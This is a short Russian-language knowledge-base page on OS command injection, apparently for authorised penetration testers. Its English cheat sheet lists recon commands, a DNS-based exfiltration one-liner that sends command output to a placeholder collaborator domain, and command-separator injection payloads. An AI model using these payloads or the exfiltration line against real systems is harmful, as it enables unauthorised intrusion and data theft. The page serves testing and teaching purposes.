База знаний

Инъекция ОС‑команд

:::tip Формат страницы

Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.

:::

Порядок действий

1. Определите контекст (аутентификация, роль, границы доверия).
2. Воспроизведите вектор атаки в контролируемой среде или с явным разрешением на целевой системе.
3. Зафиксируйте PoC и влияние (конфиденциальность, целостность, доступность).
4. Примеры запросов и команд ниже — на английском.

Методика

Useful commands

| Purpose of command | Linux | Windows |
| ——————— | ————————————— | ———————————————————————————- |
| Name of current user | whoami | whoami |
| Operating system | uname -a | ver |
| Network configuration | ifconfig | ipconfig /all |
| Network connections | netstat -an | netstat -an |
| Running processes | ps -ef | tasklist |
| Exfiltrate data | nslookup $(<COMMAND>).<COLLAB_DOMAIN> | for /F "usebackq delims=" %A in ( <COMMAND>) do nslookup %A.<COLLAB_DOMAIN> |

Ways of injection OS commands

&
&&
|
||

;
# Newline
0x0a
n

`<COMMAND>`
$(COMMAND)

; echo HELLO #

; ping <COLLAB_DOMAIN>

Ссылки

—